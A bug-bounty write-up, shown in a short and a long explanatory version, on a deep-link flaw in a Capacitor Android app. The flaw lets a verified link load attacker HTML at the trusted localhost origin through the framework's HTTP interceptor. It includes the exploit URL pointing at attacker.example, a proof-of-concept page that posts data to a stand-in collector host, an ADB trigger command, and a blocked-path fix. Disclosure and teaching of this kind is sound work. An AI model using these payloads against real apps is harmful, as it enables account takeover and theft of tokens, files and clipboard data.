Skip to content
Mobile Write-up Intermediate

The Interceptor That Fetched Anything: 1-Click Native Takeover in a Capacitor App

A Capacitor app's deep-link handler allowed verified links to navigate the WebView to an internal HTTP interceptor endpoint, which fetched an attacker-supplied URL and served it at the trusted localhost origin. This let an attacker run JavaScript with the full native bridge, enabling token theft, file access, clipboard reads, and authenticated requests.

husein.ayoub Follow

Published on medium.com

Bugbounty Writeup

Hussein Ayoub, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

The target is a community and club management app: a Capacitor-based hybrid app that wraps a web frontend in a native shell. On Android, like most Capacitor apps, it serves its own content from http://localhost inside the WebView and exposes a large native surface. In this app that surface is 23 registered plugins covering Filesystem, Camera, Clipboard, Share, Device, Push and more.

The security model of such an app rests on a single assumption: only the app's own bundle ever executes at http://localhost. Capacitor registers a global window.Capacitor with a Plugins object, so any JavaScript running at that origin can call into native code directly, with no annotation hunting required. The bug described here is what happens when a stock framework endpoint quietly breaks that assumption, and a verified App Link hands the trigger to anyone who has the victim's phone number.

Setup

The researcher works with an automation-heavy triage pipeline for APKs. After pulling and decompiling the app, using jadx for readable Java and apktool for the manifest and resources, the output is fed through an LLM-assisted review pass before anything is read by hand. For this engagement the review pass ran on Claude Opus 4.6 via Amazon Bedrock.

No accounts or special roles are described. The demo trigger uses ADB against the installed app, with the package and activity named in the command below.

Finding it

Two features are each fine on their own, and the bug lives in the gap between them.

The first is the native bridge. Enumerating the bridge on this app returned 23 plugins, including the ones that turn a web bug into a device compromise:

  • Filesystem: read and write files in the app sandbox
  • Camera: capture images if the permission was previously granted
  • Clipboard: read clipboard contents (passwords, 2FA codes)
  • CapacitorHttp: issue requests with the app's native cookies
  • Device, App, Share, Push, and the rest of the registered set

The second is an internal HTTP interceptor endpoint that Capacitor ships, reachable inside the WebView. It fetches a URL passed as a query parameter and serves the response back inside the app's trusted origin:

Text
http://localhost/_capacitor_http_interceptor_?u=<some-url>

That is a native-side proxy meant for the framework's own request handling. The problem is reachability: the app's deep-link handler took the path from an incoming verified link and drove the WebView to it, including this internal path. A link on the verified domain that points at the interceptor, with an attacker URL in u, therefore resolves inside the app to the local origin and serves attacker HTML as if it were part of the bundle.

Exploitation

Step 1: build the link

The whole exploit is one URL on the verified domain:

Text
https://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https://attacker.example/exploit.html

Because the link is on the verified domain, Android opens it directly in the app. The handler routes it to the interceptor, the interceptor fetches https://attacker.example/exploit.html and serves it at http://localhost. The attacker's HTML now executes at the trusted origin with the entire native bridge attached. One click.

Step 2: host the exploit page

The exploit page is a static HTML file on any server. Because it ends up running at the app origin, window.Capacitor and every plugin are reachable. The probe below just confirms the origin and dumps the bridge before doing anything sensitive:

HTML
<!DOCTYPE html><html><head><title>PoC</title></head> <body> <pre id="out"></pre> <script> const out = document.getElementById('out'); const collector = 'https://your-collector.example/collect';function send(obj) {   const data = JSON.stringify(obj);   out.textContent += data + '\n';   fetch(collector, { method: 'POST', body: data }).catch(() => {}); }</script></body> </html>

The page writes what it collects into a <pre> element and posts the same JSON to a collector endpoint. From that same origin, the follow-on is mechanical: read the auth token out of local storage or via the Filesystem plugin for account takeover, pull clipboard contents, list and read sandboxed files, and use CapacitorHttp to make authenticated calls with the app's own cookies.

Step 3: fire the deep link

For the demo the deep link is fired with ADB. The u parameter is URL-encoded:

Bash
adb shell am start -a android.intent.action.VIEW-d "https://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html"-n com.vendor.clubsapp/com.vendor.clubsapp.MainActivity

The command starts the app's main activity with the interceptor URL as the view intent, which is what a tap on the same link would do.

Step 4: read the confirmation

The collector received confirmation that attacker JS was live at the trusted origin with the full plugin set:

JSON
{ "url": "http://localhost/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html", "origin": "http://localhost", "platform": "android", "plugins": ["App","Device","Keyboard","Media","Badge","StatusBar", "PushNotifications","ShareExtension","LocalNotifications","Toast", "BarcodeScanner","Network","SplashScreen","Camera","Clipboard", "Haptics","CapacitorCookies","WebView","Filesystem","Share", "CapacitorHttp","Browser"] }

The origin is http://localhost, not the attacker domain. That is the whole point: the content is foreign, but the origin is trusted.

Step 5: from ADB to a real-world attack

ADB is only for the demo. In the wild there is no debugging access and no permission requirement. Because the domain is a verified App Link, the attacker just sends the victim the URL over chat, email or SMS. The victim taps once, the app opens it automatically, and the exploit runs. No chooser dialog, no second prompt, nothing that looks unusual to the victim.

Root cause

The interceptor is a native-side proxy that fetches a URL from a query parameter and serves the response inside the app's trusted origin. That is acceptable only if nothing outside the bundle can navigate the WebView to it. Here the deep-link handler took the path from an incoming verified link and drove the WebView to it, including internal Capacitor paths. The verified App Link made the trigger reachable from outside the app, and the interceptor made the fetched content same-origin with the native bridge. The framework's assumption that the origin stays trusted was never enforced at the navigation layer.

Impact

Once arbitrary JS runs at the app origin, the attacker inherits the native bridge:

  • Authentication token theft from app storage, i.e. full account takeover.
  • Arbitrary read and write in the app sandbox via the Filesystem plugin.
  • Camera and microphone access if those permissions were previously granted.
  • Clipboard reads, which routinely hold passwords and 2FA codes.

The author describes this as effectively a 1-click remote code execution in the app's native context. The trigger requires the victim to tap a link on the verified domain; the camera and microphone paths additionally require those permissions to have been granted previously.

Fix

The fix is small: refuse to let external deep links drive navigation to internal Capacitor paths. In the deep-link handler, reject internal paths before routing:

JavaScript
const BLOCKED = ['/_capacitor_http_interceptor', '/_capacitor_content', '/_capacitor_file']; if (BLOCKED.some(p => pathname.startsWith(p))) return;

The report's disclosure timeline records: reported 07/Aug/26, triaged 10/Aug/26, fixed and bounty awarded 28/Aug/26.

  1. Other Capacitor internal paths. Send a verified link pointing at /_capacitor_content or /_capacitor_file and see whether the handler routes to it. A positive result is the WebView landing on the internal path instead of the app's normal route.
  2. Interceptor reachability without deep links. Look for any other way to make the WebView load /_capacitor_http_interceptor_?u=..., such as in-app links, redirects or stored URLs. A positive result is a response served at http://localhost whose body comes from an external server.
  3. Origin check on the served content. Confirm whether the fetched page really executes at http://localhost by having it report location.origin and the presence of window.Capacitor. A positive result is http://localhost plus a populated Plugins object.
  4. Bridge enumeration on other builds. Dump Object.keys(window.Capacitor.Plugins) from the trusted origin. A positive result is any plugin that reads storage, files, clipboard or makes native requests.
  5. Deep-link path handling. Try encoded, doubled or prefixed variants of the internal path in the verified link and observe whether the handler normalises them into the blocked path. A positive result is the WebView still reaching the interceptor after normalisation.
  6. Permission-dependent plugins. From the trusted origin, check whether Camera or Clipboard calls succeed without a fresh prompt. A positive result is data returned when the permission was previously granted.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

A phone app for managing clubs and communities had a serious flaw. Anyone who knew your phone number could send you a single link. If you tapped it, the app would open, and code written by the attacker would run inside the app as if it were part of the app itself. From there the attacker could read your login token, look through the app's files, read your clipboard, and make requests to the app's servers as you.

The report's title calls this a "1-Click Native Takeover". The rest of this article explains, from zero, how that works.

Some background you need first

Before the bug makes sense, you need a handful of ideas. None of them are hard; they just need naming.

A hybrid app. Most phone apps are either fully native (written in the phone's own language, like Java or Kotlin on Android) or fully web (a website). A hybrid app is a mix: it is a native shell that contains a small built-in browser, called a WebView, and that WebView displays a web page. The web page is the app's interface, and the native shell gives it access to phone features like the camera or the file system. The app in this report is built with Capacitor, a popular framework for making hybrid apps.

The WebView and localhost. When you type localhost into a browser, you are telling it "this computer, right here". It is a special address that always means the machine you are on. In a Capacitor app, the app's own web page is stored inside the app on the phone, and the WebView loads it from http://localhost. So the app's own code lives at that address, inside the phone.

Origin. A web origin is the combination of scheme, host and port, for example http://localhost. Browsers use the origin as a security boundary: code from one origin is not supposed to be able to touch data belonging to another origin. This is called the same-origin policy, and it is one of the main walls that keeps websites from reading each other's data. If an attacker can get their code to run at your origin, that wall no longer protects you, because the browser now believes the attacker's code is yours.

The native bridge. The web page inside the WebView cannot use the camera or read files by itself; browsers do not allow that. So Capacitor provides a bridge: a set of JavaScript functions the web page can call, which pass the request to the native side, which does the real work. Capacitor makes this available as a global object called window.Capacitor, with a Plugins object inside it. Each plugin is one capability: Filesystem, Camera, Clipboard, and so on. Any JavaScript running at http://localhost can call these plugins directly.

Plugin. Think of a plugin as a power socket on the native side. The web page plugs into it and gets a capability. The app in this report has 23 of them registered.

Deep link and App Link. A deep link is a URL that opens a specific app instead of a website. If you tap a link to a shop's domain and you have the shop's app installed, the phone may open the app rather than the browser. An App Link (on Android) is a stronger, verified version of this: the app proves to the operating system that it really owns that domain, so the system opens the app automatically, with no "open with?" chooser. That automatic behaviour matters a lot later.

Query parameter. A URL can carry extra information after a ?, in the form name=value. In ?u=https://example.com, the parameter is called u and its value is https://example.com. Servers and apps read these values to decide what to do.

Proxy. A proxy is a middleman. Instead of your browser talking directly to a website, it asks the proxy, and the proxy fetches the page and hands it back. The app in this report contains a small proxy of its own.

Token. When you log in to an app, the server usually gives your device a token: a long string that proves who you are. The app stores it and sends it with later requests instead of your password. If someone steals the token, they can act as you without knowing your password. That is called account takeover.

Cookie. A cookie is a small piece of data a server asks the browser to store and send back on every request to that server. Cookies are how many sites remember that you are logged in. If an attacker can make requests from inside your app, those requests carry your cookies automatically.

Sandbox. A sandbox is a private storage area that belongs to one app. Other apps cannot read it. Inside it the app keeps its files, settings and often its tokens.

Decompiling an APK. An Android app is distributed as an APK file, which is a package containing compiled code and resources. Decompiling means turning that compiled package back into something a human can read, roughly like unpacking a zip file and translating the machine's shorthand back into source code. Two common tools are jadx, which produces readable Java, and apktool, which extracts the manifest (the app's identity card: its name, permissions, and which links it handles) and resources.

ADB. The Android Debug Bridge is a command-line tool that lets a developer talk to a phone connected by cable. It can install apps, read logs, and start app screens on demand. It is a developer tool; ordinary users do not have it, and it is not part of the attack.

LLM-assisted review. An LLM is a large language model, the kind of AI behind chat assistants. "LLM-assisted review" means the researcher feeds decompiled code to a model and asks it to point out suspicious parts, then checks the suggestions by hand.

The target

The app is a community and club management app. It is a Capacitor-based hybrid app: a web frontend wrapped in a native shell. Like most Capacitor apps on Android, it serves its own content from http://localhost inside the WebView, and it exposes a large native surface: 23 registered plugins covering Filesystem, Camera, Clipboard, Share, Device, Push and more.

"Native surface" just means the total set of powers the web page can reach on the phone. The bigger the surface, the more damage a web bug can do.

How the researcher worked

The researcher runs an automation-heavy triage pipeline for APKs. After pulling and decompiling the app, using jadx for readable Java and apktool for the manifest and resources, the output goes through an LLM-assisted review pass before anything is read by hand. For this engagement the review pass ran on Claude Opus 4.6 via Amazon Bedrock.

Why do it this way? A decompiled app is enormous, and most of it is uninteresting. Letting a model skim it first is like having a colleague highlight the odd-looking paragraphs before you read the whole document. The model only narrows the search before the researcher reads the output.

No accounts or special roles are described in the report. The demo trigger uses ADB against the installed app, with the package and activity named in the command further down.

Finding it: two features, one gap

The bug lives in the gap between two features that are each fine on their own. This is a common pattern in security: feature A is safe, feature B is safe, but A and B together are not.

Attack surface 1: the native bridge

Capacitor registers a global window.Capacitor with a Plugins object. Any JavaScript executing at the app origin can call into native code directly, with no annotation hunting required. Enumerating the bridge on this app returned 23 plugins, including the ones that turn a web bug into a device compromise:

  • Filesystem: read and write files in the app sandbox
  • Camera: capture images if the permission was previously granted
  • Clipboard: read clipboard contents (passwords, 2FA codes)
  • CapacitorHttp: issue requests with the app's native cookies
  • Device, App, Share, Push, and the rest of the registered set

In plain terms: if an attacker's code ever runs at http://localhost, it can read and write the app's private files, take photos if the user already allowed the camera, read whatever is on the clipboard (which often holds passwords and one-time login codes), and send requests to the app's servers carrying the user's own cookies. None of this is a problem while the only code running at http://localhost is the app's own bundle. The entire model rests on that origin staying trusted.

Attack surface 2: the interceptor endpoint

Capacitor ships an internal HTTP interceptor endpoint, reachable inside the WebView, that fetches a URL passed as a query parameter and serves the response back inside the app's trusted origin:

Text
http://localhost/_capacitor_http_interceptor_?u=<some-url>

Line by line:

  • http://localhost is the app's own trusted address inside the WebView.
  • /_capacitor_http_interceptor_ is a fixed path that belongs to Capacitor itself, not to the app's own pages. The underscores at both ends are part of the name.
  • ?u= starts the query parameter called u, short for URL.
  • <some-url> is a placeholder for whatever address is placed there.

So this address means: "fetch the page at the address in u, and hand it back to the WebView as if it came from http://localhost". That is a native-side proxy meant for the framework's own request handling. The problem is reachability: the app's deep-link handler took the path from an incoming verified link and drove the WebView to it, including this internal path. A link on the verified domain that points at the interceptor, with an attacker URL in u, therefore resolves inside the app to the local origin and serves attacker HTML as if it were part of the bundle.

A comparison: imagine a hotel where guests may only enter their own rooms. The interceptor is a service lift that will fetch anything from anywhere and deliver it inside the hotel. That is fine as long as only staff use the lift. The bug is that the front door's key reader accepts a note saying "please use the service lift", so a stranger can ride it straight into a guest room.

Exploitation

Step 1: build the link

The whole exploit is one URL on the verified domain:

Text
https://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https://attacker.example/exploit.html

Line by line:

  • https://portal.vendorclubs.com is the app's verified domain. Because Android has verified that this app owns that domain, a link to it opens the app directly, with no chooser.
  • /_capacitor_http_interceptor_ is the internal Capacitor path from the previous section.
  • ?u= introduces the parameter that tells the interceptor what to fetch.
  • https://attacker.example/exploit.html is the attacker's own page, the content that will be pulled in.

Because the link is on the verified domain, Android opens it directly in the app. The handler routes it to the interceptor, the interceptor fetches https://attacker.example/exploit.html and serves it at http://localhost. The attacker's HTML now executes at the trusted origin with the entire native bridge attached. One click.

Step 2: host the exploit page

The exploit page is a static HTML file on any server. "Static" means it is just a file; there is no server-side logic. Because it ends up running at the app origin, window.Capacitor and every plugin are reachable. The probe below just confirms the origin and dumps the bridge before doing anything sensitive:

HTML
<!DOCTYPE html><html><head><title>PoC</title></head> <body> <pre id="out"></pre> <script> const out = document.getElementById('out'); const collector = 'https://your-collector.example/collect';function send(obj) {   const data = JSON.stringify(obj);   out.textContent += data + '\n';   fetch(collector, { method: 'POST', body: data }).catch(() => {}); }</script></body> </html>

Line by line:

  • <!DOCTYPE html><html><head><title>PoC</title></head> is the standard opening of an HTML page. PoC stands for proof of concept, a small demonstration that the bug is real.
  • <body> starts the visible part of the page.
  • <pre id="out"></pre> creates an empty text box named out. <pre> keeps text formatted exactly as written, which is handy for showing data.
  • <script> starts the JavaScript, the code that runs in the page.
  • const out = document.getElementById('out'); finds that text box so the script can write into it.
  • const collector = 'https://your-collector.example/collect'; is the address of a server the researcher controls, where results are sent. your-collector.example is a placeholder for the researcher's own server.
  • function send(obj) { defines a reusable function that takes some data and sends it out.
  • const data = JSON.stringify(obj); turns the data into JSON, a plain-text format for structured data that both people and programs can read.
  • out.textContent += data + '\n'; appends the data to the text box, with a newline at the end, so the researcher can see it on screen.
  • fetch(collector, { method: 'POST', body: data }).catch(() => {}); sends the data to the collector server as an HTTP POST, which is the method used to submit data. .catch(() => {}) silently ignores any error, so a failure does not break the page.

Notice what the page does not do: it does not steal anything yet. It only reports where it is running and what it can reach. That is deliberate. Before doing anything sensitive, the researcher wants proof that the code really is running at the trusted origin with the bridge attached.

The page writes what it collects into a <pre> element and posts the same JSON to a collector endpoint. From that same origin, the follow-on is mechanical: read the auth token out of local storage or via the Filesystem plugin for account takeover, pull clipboard contents, list and read sandboxed files, and use CapacitorHttp to make authenticated calls with the app's own cookies.

"Local storage" here means the app's own storage area on the phone. "Mechanical" means there is no further cleverness needed: once the code is at the trusted origin, the plugins do the work.

Step 3: fire the deep link

For the demo the deep link is fired with ADB. The u parameter is URL-encoded:

Bash
adb shell am start -a android.intent.action.VIEW-d "https://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html"-n com.vendor.clubsapp/com.vendor.clubsapp.MainActivity

Line by line:

  • adb shell opens a command session on the connected phone.
  • am start is the Android activity manager's "start this screen" command.
  • -a android.intent.action.VIEW sets the action to VIEW, which is what Android uses when something should be displayed, exactly as when a link is tapped.
  • -d "https://portal.vendorclubs.com/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html" supplies the data, the URL itself. Notice that the inner URL is URL-encoded: https:// becomes https%3A%2F%2F and each / becomes %2F. Encoding replaces characters that would otherwise confuse the parser, so the inner address survives intact as a single value of u.
  • -n com.vendor.clubsapp/com.vendor.clubsapp.MainActivity names the exact app package and screen to open.

The command starts the app's main activity with the interceptor URL as the view intent, which is what a tap on the same link would do. The researcher uses ADB only because it is faster and repeatable during testing; the victim in the real world would simply tap.

Step 4: read the confirmation

The collector received confirmation that attacker JS was live at the trusted origin with the full plugin set:

JSON
{ "url": "http://localhost/_capacitor_http_interceptor_?u=https%3A%2F%2Fattacker.example%2Fexploit.html", "origin": "http://localhost", "platform": "android", "plugins": ["App","Device","Keyboard","Media","Badge","StatusBar", "PushNotifications","ShareExtension","LocalNotifications","Toast", "BarcodeScanner","Network","SplashScreen","Camera","Clipboard", "Haptics","CapacitorCookies","WebView","Filesystem","Share", "CapacitorHttp","Browser"] }

Line by line:

  • url is the address the WebView is showing. It is the interceptor address, still carrying the encoded attacker URL.
  • origin is http://localhost, not the attacker domain. That is the whole point: the content is foreign, but the origin is trusted.
  • platform says android, confirming the code is running in the Android app rather than a normal browser.
  • plugins lists every plugin the page can reach. The list includes Filesystem, Camera, Clipboard and CapacitorHttp, the four that matter most.

If the page had been served from the attacker's own domain, origin would show that domain instead of http://localhost. The single field origin is the proof.

Step 5: from ADB to a real-world attack

ADB is only for the demo. In the wild there is no debugging access and no permission requirement. Because the domain is a verified App Link, the attacker just sends the victim the URL over chat, email or SMS. The victim taps once, the app opens it automatically, and the exploit runs. No chooser dialog, no second prompt, nothing that looks unusual to the victim.

This is why the verified App Link matters so much. With verification, the app opens silently, and the victim sees only their familiar app.

Root cause

The interceptor is a native-side proxy that fetches a URL from a query parameter and serves the response inside the app's trusted origin. That is acceptable only if nothing outside the bundle can navigate the WebView to it. Here the deep-link handler took the path from an incoming verified link and drove the WebView to it, including internal Capacitor paths. The verified App Link made the trigger reachable from outside the app, and the interceptor made the fetched content same-origin with the native bridge. The framework's assumption that the origin stays trusted was never enforced at the navigation layer.

In one sentence: the app trusted its own address, but it let an outside link choose what to load at that address.

Impact

Once arbitrary JS runs at the app origin, the attacker inherits the native bridge:

  • Authentication token theft from app storage, i.e. full account takeover.
  • Arbitrary read and write in the app sandbox via the Filesystem plugin.
  • Camera and microphone access if those permissions were previously granted.
  • Clipboard reads, which routinely hold passwords and 2FA codes.

The author describes this as effectively a 1-click remote code execution in the app's native context. "Remote code execution" normally means an attacker can run their own code on someone else's machine; here the code runs inside the app, with the app's native powers. The trigger requires the victim to tap a link on the verified domain; the camera and microphone paths additionally require those permissions to have been granted previously.

The fix

The fix is small: refuse to let external deep links drive navigation to internal Capacitor paths. In the deep-link handler, reject internal paths before routing:

JavaScript
const BLOCKED = ['/_capacitor_http_interceptor', '/_capacitor_content', '/_capacitor_file']; if (BLOCKED.some(p => pathname.startsWith(p))) return;

Line by line:

  • const BLOCKED = [...] creates a list of paths that must never be reached from an outside link. Besides the interceptor, it names two other internal Capacitor paths, /_capacitor_content and /_capacitor_file.
  • pathname is the part of the incoming link after the domain, for example /_capacitor_http_interceptor_.
  • BLOCKED.some(p => pathname.startsWith(p)) asks: does the path start with any of the blocked entries? some returns true as soon as one match is found.
  • if (...) return; means: if a match was found, stop here and do not route the WebView anywhere.

The idea is a bouncer at the door with a list of forbidden rooms. The link may still arrive, but the app refuses to walk to the internal path. The report's disclosure timeline records: reported 07/Aug/26, triaged 10/Aug/26, fixed and bounty awarded 28/Aug/26. "Triaged" means the security team confirmed the report was valid and started handling it.

Variants to test

  1. Other Capacitor internal paths. Send a verified link pointing at /_capacitor_content or /_capacitor_file and see whether the handler routes to it. A positive result is the WebView landing on the internal path instead of the app's normal route.
  2. Interceptor reachability without deep links. Look for any other way to make the WebView load /_capacitor_http_interceptor_?u=..., such as in-app links, redirects or stored URLs. A positive result is a response served at http://localhost whose body comes from an external server.
  3. Origin check on the served content. Confirm whether the fetched page really executes at http://localhost by having it report location.origin and the presence of window.Capacitor. A positive result is http://localhost plus a populated Plugins object.
  4. Bridge enumeration on other builds. Dump Object.keys(window.Capacitor.Plugins) from the trusted origin. A positive result is any plugin that reads storage, files, clipboard or makes native requests.
  5. Deep-link path handling. Try encoded, doubled or prefixed variants of the internal path in the verified link and observe whether the handler normalises them into the blocked path. A positive result is the WebView still reaching the interceptor after normalisation.
  6. Permission-dependent plugins. From the trusted origin, check whether Camera or Clipboard calls succeed without a fresh prompt. A positive result is data returned when the permission was previously granted.

Glossary

  • ADB (Android Debug Bridge): a developer command-line tool for talking to a connected Android phone, used here only to fire the demo link.
  • APK: the file format Android apps are distributed in; a package of compiled code and resources.
  • App Link: a deep link that the app has verified it owns, so Android opens it in the app automatically without asking the user.
  • apktool: a tool that unpacks an APK's manifest and resources.
  • Bridge (native bridge): the set of JavaScript functions a WebView page can call to reach native phone features.
  • Capacitor: a framework for building hybrid apps, where a web frontend runs inside a native shell.
  • CapacitorHttp: a Capacitor plugin that makes network requests from the native side, carrying the app's cookies.
  • Clipboard: the phone's temporary storage for copied text; often holds passwords and one-time codes.
  • Cookie: a small piece of data a server asks the browser to store and send back on later requests, commonly used to keep you logged in.
  • Deep link: a URL that opens a specific app instead of a website.
  • Decompiling: turning a compiled app package back into human-readable code.
  • Exploit: code or a sequence of steps that abuses a bug to do something the attacker should not be able to do.
  • Filesystem plugin: a Capacitor plugin that reads and writes files in the app's private storage.
  • Hybrid app: an app that is a native shell containing a WebView that displays a web page.
  • Interceptor: in this report, a Capacitor endpoint that fetches a URL given in a parameter and serves the result inside the app's origin.
  • jadx: a tool that decompiles Android code into readable Java.
  • JSON: a plain-text format for structured data, readable by people and programs.
  • LLM: a large language model, an AI system used here to skim decompiled code for suspicious parts.
  • localhost: the special address meaning "this device"; in a Capacitor app it is where the app's own web content is served.
  • Manifest: the file inside an APK that declares the app's identity, permissions and which links it handles.
  • Native: code that runs directly on the phone's operating system, with full access to its features.
  • Origin: the combination of scheme, host and port that browsers use as a security boundary.
  • Plugin: a Capacitor module that gives the web page one native capability, such as Camera or Clipboard.
  • PoC (proof of concept): a small demonstration that a bug is real.
  • Proxy: a middleman that fetches something on your behalf and hands it back.
  • Query parameter: a name=value pair after the ? in a URL.
  • Remote code execution: an attacker getting their own code to run on someone else's device or app.
  • Same-origin policy: the browser rule that code from one origin cannot read data belonging to another.
  • Sandbox: an app's private storage area that other apps cannot read.
  • Token: a string that proves who you are, stored by the app and sent with requests instead of a password; stealing it allows account takeover.
  • Triage: the security team's first review, where a report is confirmed as valid and handed to the right people.
  • URL encoding: replacing characters such as : and / with % codes so they can be carried safely inside another URL.
  • WebView: a small browser built into an app, used to display web content.
  • window.Capacitor: the global JavaScript object Capacitor provides, through which the page reaches the plugins.

More by husein.ayoub

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Mobile app vulnerabilities

The lesson behind this report.

Flaws specific to Android and iOS apps: exported components, deep links, WebViews and data left on the device.